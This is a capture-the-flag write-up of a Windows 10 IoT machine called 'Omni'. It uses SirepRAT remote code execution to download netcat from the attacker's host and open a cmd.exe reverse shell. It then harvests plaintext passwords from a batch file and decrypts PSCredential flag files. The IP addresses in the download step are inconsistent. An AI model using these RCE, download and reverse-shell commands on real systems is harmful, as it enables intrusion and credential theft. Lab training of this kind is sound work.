Omni runs the IoT version of Windows 10, which is known to be vulnerable to SirepRAT, allowing an attacker to gain a remote code execution as SYSTEM. Leveraging the RAT, I’m able to gain a foothold on the system and obtain two set of credentials that can be used to decrypt the encrypted flags.
Skills Learned
- Windows IoT exploitation
- Decrypting PSCredential object
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- SirepRAT - https://github.com/SafeBreach-Labs/SirepRAT
Reconnaissance
Nmap
An initial port scan using nmap
discovers two open ports: MSRPC on port 135, and a Microsoft IIS on port 8080.
→ root@iamf «omni» «10.10.14.47»
$ nmap -sC -sV -oN nmap/initial-omni -v '10.10.10.204'
# Nmap 7.80 scan initiated Sun Aug 23 09:25:53 2020 as: nmap -sC -sV -oN nmap/initial-omni -v 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn’t have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
TCP 8080 - Website
Based on the nmap
’s result, authentication process is required to view the page content, and looks like it uses the basic HTTP authentication.
With default script (
-sC
),nmap
can retrieves the authentication scheme and realm of a web service that requires authentication.
nmap
identifies the realm as “Windows Device Portal”, and here is what I found on Google.
According to the table from this documentation, Windows Device Portal (WDP) on port 8080 belongs to the IoT family, which means this machine is most likely running a Windows 10 IoT version.
So, without credentials, I can’t do anything here.
Foothold
There is a research about unauthenticated remote code execution on Windows IoT Core. The research documents (slides, paper) as well as the exploit tool are provided in the link below.
Shell as Omni$
SirepRAT RCE
The exploit tool is work against this machine, and I can get a remote code execution as Omni$ / SYSTEM.
To get an interactive shell, I’ll host Windows nc64.exe
using Python HTTP server.
→ root@iamf «omni» «10.10.14.47»
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
I’ll get the hosted netcat on Omni using PowerShell Invoke-WebRequest
command by leveraging the SirepRAT RCE.
→ root@iamf «omni» «10.10.14.47»
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell -c Invoke-webrequest -uri 10.10.14.68/nc64.exe -outfile U:\Users\Public\xc.exe" --vv
RECV:
00000000: 2A 4C 59 A5 FB 60 04 47 A9 6D 1C C9 7D C8 4F 12 *LY..`.G.m..}.O.
SEND:
00000000: 0A 00 00 00 12 01 00 00 01 00 00 00 01 00 00 00 ................
00000010: 24 00 00 00 36 00 00 00 5A 00 00 00 B8 00 00 00 $...6...Z.......
00000020: 12 01 00 00 00 00 00 00 00 00 00 00 43 00 3A 00 ............C.:.
00000030: 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 \.W.i.n.d.o.w.s.
00000040: 5C 00 53 00 79 00 73 00 74 00 65 00 6D 00 33 00 \.S.y.s.t.e.m.3.
00000050: 32 00 5C 00 63 00 6D 00 64 00 2E 00 65 00 78 00 2.\.c.m.d...e.x.
00000060: 65 00 2F 00 63 00 20 00 70 00 6F 00 77 00 65 00 e./.c. .p.o.w.e.
00000070: 72 00 73 00 68 00 65 00 6C 00 6C 00 20 00 2D 00 r.s.h.e.l.l. .-.
00000080: 63 00 20 00 49 00 6E 00 76 00 6F 00 6B 00 65 00 c. .I.n.v.o.k.e.
00000090: 2D 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 -.w.e.b.r.e.q.u.
000000A0: 65 00 73 00 74 00 20 00 2D 00 75 00 72 00 69 00 e.s.t. .-.u.r.i.
000000B0: 20 00 31 00 30 00 2E 00 31 00 30 00 2E 00 31 00 .1.0...1.0...1.
000000C0: 34 00 2E 00 34 00 37 00 2F 00 6E 00 63 00 36 00 4...4.7./.n.c.6.
000000D0: 34 00 2E 00 65 00 78 00 65 00 20 00 2D 00 6F 00 4...e.x.e. .-.o.
000000E0: 75 00 74 00 66 00 69 00 6C 00 65 00 20 00 55 00 u.t.f.i.l.e. .U.
000000F0: 3A 00 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 :.\.U.s.e.r.s.\.
00000100: 70 00 75 00 62 00 6C 00 69 00 63 00 5C 00 78 00 p.u.b.l.i.c.\.x.
00000110: 63 00 2E 00 65 00 78 00 65 00 c...e.x.e.
RECV:
00000000: 00 00 00 00 ....
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
After that, I’ll setup a listener, and send a reverse shell to my listener from Omni.
→ root@iamf «omni» «10.10.14.47»
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c U:\Users\public\xc.exe -e cmd.exe 10.10.14.47 1337
<HResultResult | type: 1, payload length: 4, HResult: 0x0
And I have interactive shell now.
→ root@iamf «omni» «10.10.14.47»
$ rlwrap nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.204] 49689
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
PS C:\windows\system32>$env:username
Omni$
Internal Enumeration
Enumerating for the flags finds they are located at C:\Data\Users\administrator\root.txt
and C:\Data\Users\app\user.txt
. Since I have access as the SYSTEM itself, I can read both the user flag and the root flag directly, but the flags are encrypted.
root.txt
:
PS C:\> type C:\Data\Users\administrator\root.txt
type root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
</Props>
</Obj>
</Objs>
user.txt
:
PS C:\> type C:\Data\Users\app\user.txt
type C:\Data\Users\app\user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredent^M^M <T>System.Management.Automation.PSCredent^M^M <T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
This article shows way to decrypt those two files.
$credential = Import-CliXml -Path <PathToXml>\MyCredential.xml
$credential.GetNetworkCredential().Password
But then, I get an “Error occurred during a cryptographic operation” message. After Googling around to find the answer why it doesn’t work, it turns out the flag can only be decrypted by the user itself. So if I want to decrypt user.txt
, I have to get access as app
user.
While enumerating files recursively using the dir
command, I spotted a batch file placed in the PowerShell folder.
PS C:\>cmd /c "dir /s /b *.bat"
cmd /c "dir /s /b *.bat"
C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Build.bat
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
The batch files contains the credentials for user app
and administrator
. The file itself looks like automation script to revert the user and admin account to default.
PS C:\> gc "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
gc "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXIT
Decrypting the Flags
Both credentials are works on the Windows Device Portal (WDP) web. WDP has a feature that allows you to do command execution on the system, so I can decrypt each flag from there.
For the root flag, I’ll use the administrator account (administrator:_1nt3rn37ofTh1nGz
) and issue the command below.
powershell.exe -c "$credential=Import-CliXml -Path U:\Users\Administrator\root.txt ;$credential.GetNetworkCredential().Password;"
For the user flag, the procedure goes the same.